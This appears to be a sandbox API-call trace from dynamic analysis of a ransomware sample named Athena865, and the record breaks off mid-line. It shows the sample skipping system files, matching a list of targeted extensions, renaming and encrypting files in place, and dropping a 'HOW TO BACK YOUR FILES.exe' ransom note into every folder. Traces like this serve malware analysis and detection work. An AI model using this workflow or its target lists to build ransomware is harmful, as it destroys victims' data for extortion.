1 [0108.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.205] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2=".") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="..") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="windows") returned -1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="bootmgr") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="temp") returned -1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="pagefile.sys") returned -1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="boot") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="ids.txt") returned 1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="ntuser.dat") returned -1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="perflogs") returned -1 [0108.205] lstrcmpiW (lpString1="msitss55.dll", lpString2="MSBuild") returned 1 [0108.205] lstrlenW (lpString="msitss55.dll") returned 12 [0108.206] lstrcpyW (in: lpString1=0x241e8b0, lpString2="msitss55.dll" | out: lpString1="msitss55.dll") returned="msitss55.dll" [0108.206] lstrlenW (lpString="msitss55.dll") returned 12 [0108.206] lstrlenW (lpString="Athena865") returned 9 [0108.206] lstrcmpiW (lpString1="tss55.dll", lpString2="Athena865") returned 1 [0108.206] lstrlenW (lpString=".dll") returned 4 [0108.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".dll") returned 1 [0108.206] lstrlenW (lpString=".lnk") returned 4 [0108.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".lnk") returned 1 [0108.206] lstrlenW (lpString=".ini") returned 4 [0108.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".ini") returned 1 [0108.206] lstrlenW (lpString=".sys") returned 4 [0108.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".sys") returned 1 [0108.206] lstrlenW (lpString="msitss55.dll") returned 12 [0108.206] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.Athena865") returned 74 [0108.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.athena865"), dwFlags=0x1) returned 1 [0108.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.208] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=430080) returned 1 [0108.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.208] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.209] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.209] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.209] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69300, lpName=0x0) returned 0x17c [0108.211] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69300) returned 0x2d50000 [0108.227] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.228] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.228] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.228] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.232] CloseHandle (hObject=0x17c) returned 1 [0108.232] CloseHandle (hObject=0x154) returned 1 [0108.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.234] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0108.234] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0108.234] ReleaseMutex (hMutex=0xec) returned 1 [0108.235] CloseHandle (hObject=0xec) returned 1 [0108.235] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" [0108.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ed60 | out: hHeap=0x4f0000) returned 1 [0108.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5e0 | out: hHeap=0x4f0000) returned 1 [0108.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned 50 [0108.235] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\31F99D8E3C1B983102E613446FCC348B") returned 0xec [0108.235] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0108.235] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" [0108.235] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0108.235] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to back your files.exe"), bFailIfExists=1) returned 0 [0108.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0108.236] GetLastError () returned 0x0 [0108.236] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0108.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0108.236] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0108.237] CloseHandle (hObject=0xf4) returned 1 [0108.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.237] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0108.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0108.237] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.237] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.237] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.237] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.237] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.237] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.237] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.237] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.237] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0108.237] lstrcmpiW (lpString1="Alphabet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.237] lstrcmpiW (lpString1="Alphabet.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".") returned 1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="..") returned 1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="windows") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootmgr") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="temp") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="pagefile.sys") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="boot") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ids.txt") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntuser.dat") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="perflogs") returned -1 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2="MSBuild") returned -1 [0108.238] lstrlenW (lpString="Alphabet.xml") returned 12 [0108.238] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Alphabet.xml" | out: lpString1="Alphabet.xml") returned="Alphabet.xml" [0108.238] lstrlenW (lpString="Alphabet.xml") returned 12 [0108.238] lstrlenW (lpString="Athena865") returned 9 [0108.238] lstrcmpiW (lpString1="habet.xml", lpString2="Athena865") returned 1 [0108.238] lstrlenW (lpString=".dll") returned 4 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".dll") returned 1 [0108.238] lstrlenW (lpString=".lnk") returned 4 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".lnk") returned 1 [0108.238] lstrlenW (lpString=".ini") returned 4 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".ini") returned 1 [0108.238] lstrlenW (lpString=".sys") returned 4 [0108.238] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".sys") returned 1 [0108.238] lstrlenW (lpString="Alphabet.xml") returned 12 [0108.238] lstrlenW (lpString="bak") returned 3 [0108.238] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0108.238] lstrlenW (lpString="ba_") returned 3 [0108.238] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0108.238] lstrlenW (lpString="dbb") returned 3 [0108.238] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0108.239] lstrlenW (lpString="vmdk") returned 4 [0108.239] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0108.239] lstrlenW (lpString="rar") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0108.239] lstrlenW (lpString="zip") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0108.239] lstrlenW (lpString="tgz") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0108.239] lstrlenW (lpString="vbox") returned 4 [0108.239] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0108.239] lstrlenW (lpString="vdi") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0108.239] lstrlenW (lpString="vhd") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0108.239] lstrlenW (lpString="vhdx") returned 4 [0108.239] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0108.239] lstrlenW (lpString="avhd") returned 4 [0108.239] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0108.239] lstrlenW (lpString="db") returned 2 [0108.239] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0108.239] lstrlenW (lpString="db2") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0108.239] lstrlenW (lpString="db3") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0108.239] lstrlenW (lpString="dbf") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0108.239] lstrlenW (lpString="mdf") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0108.239] lstrlenW (lpString="mdb") returned 3 [0108.239] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0108.240] lstrlenW (lpString="sql") returned 3 [0108.240] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0108.240] lstrlenW (lpString="sqlite") returned 6 [0108.240] lstrcmpiW (lpString1="et.xml", lpString2="sqlite") returned -1 [0108.240] lstrlenW (lpString="sqlite3") returned 7 [0108.240] lstrcmpiW (lpString1="bet.xml", lpString2="sqlite3") returned -1 [0108.240] lstrlenW (lpString="sqlitedb") returned 8 [0108.240] lstrcmpiW (lpString1="abet.xml", lpString2="sqlitedb") returned -1 [0108.240] lstrlenW (lpString="xml") returned 3 [0108.240] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0108.240] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.Athena865") returned 73 [0108.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.athena865"), dwFlags=0x1) returned 1 [0108.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.242] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=791686) returned 1 [0108.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.242] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.243] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.243] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.243] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc1790, lpName=0x0) returned 0x17c [0108.244] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc1790) returned 0x2d50000 [0108.299] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.300] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.300] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.301] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.308] CloseHandle (hObject=0x17c) returned 1 [0108.308] CloseHandle (hObject=0x154) returned 1 [0108.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.311] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2=".") returned 1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="..") returned 1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="windows") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="bootmgr") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="temp") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="pagefile.sys") returned -1 [0108.311] lstrcmpiW (lpString1="ar-SA", lpString2="boot") returned -1 [0108.312] lstrcmpiW (lpString1="ar-SA", lpString2="ids.txt") returned -1 [0108.312] lstrcmpiW (lpString1="ar-SA", lpString2="ntuser.dat") returned -1 [0108.312] lstrcmpiW (lpString1="ar-SA", lpString2="perflogs") returned -1 [0108.312] lstrcmpiW (lpString1="ar-SA", lpString2="MSBuild") returned -1 [0108.312] lstrlenW (lpString="ar-SA") returned 5 [0108.312] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ar-SA" | out: lpString1="ar-SA") returned="ar-SA" [0108.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5e0 [0108.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5028a8 [0108.312] lstrcatW (in: lpString1="ar-SA", lpString2="\\" | out: lpString1="ar-SA\\") returned="ar-SA\\" [0108.312] lstrcatW (in: lpString1="ar-SA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ar-SA\\HOW TO BACK YOUR FILES.exe") returned="ar-SA\\HOW TO BACK YOUR FILES.exe" [0108.312] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.323] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0108.323] lstrcmpiW (lpString1="bg-BG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.323] lstrcmpiW (lpString1="bg-BG", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0108.323] lstrcmpiW (lpString1="bg-BG", lpString2=".") returned 1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="..") returned 1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="windows") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="bootmgr") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="temp") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="pagefile.sys") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="boot") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="ids.txt") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="ntuser.dat") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="perflogs") returned -1 [0108.324] lstrcmpiW (lpString1="bg-BG", lpString2="MSBuild") returned -1 [0108.324] lstrlenW (lpString="bg-BG") returned 5 [0108.324] lstrcpyW (in: lpString1=0x241e8ae, lpString2="bg-BG" | out: lpString1="bg-BG") returned="bg-BG" [0108.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5f8 [0108.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502828 [0108.324] lstrcatW (in: lpString1="bg-BG", lpString2="\\" | out: lpString1="bg-BG\\") returned="bg-BG\\" [0108.324] lstrcatW (in: lpString1="bg-BG\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="bg-BG\\HOW TO BACK YOUR FILES.exe") returned="bg-BG\\HOW TO BACK YOUR FILES.exe" [0108.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.326] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, 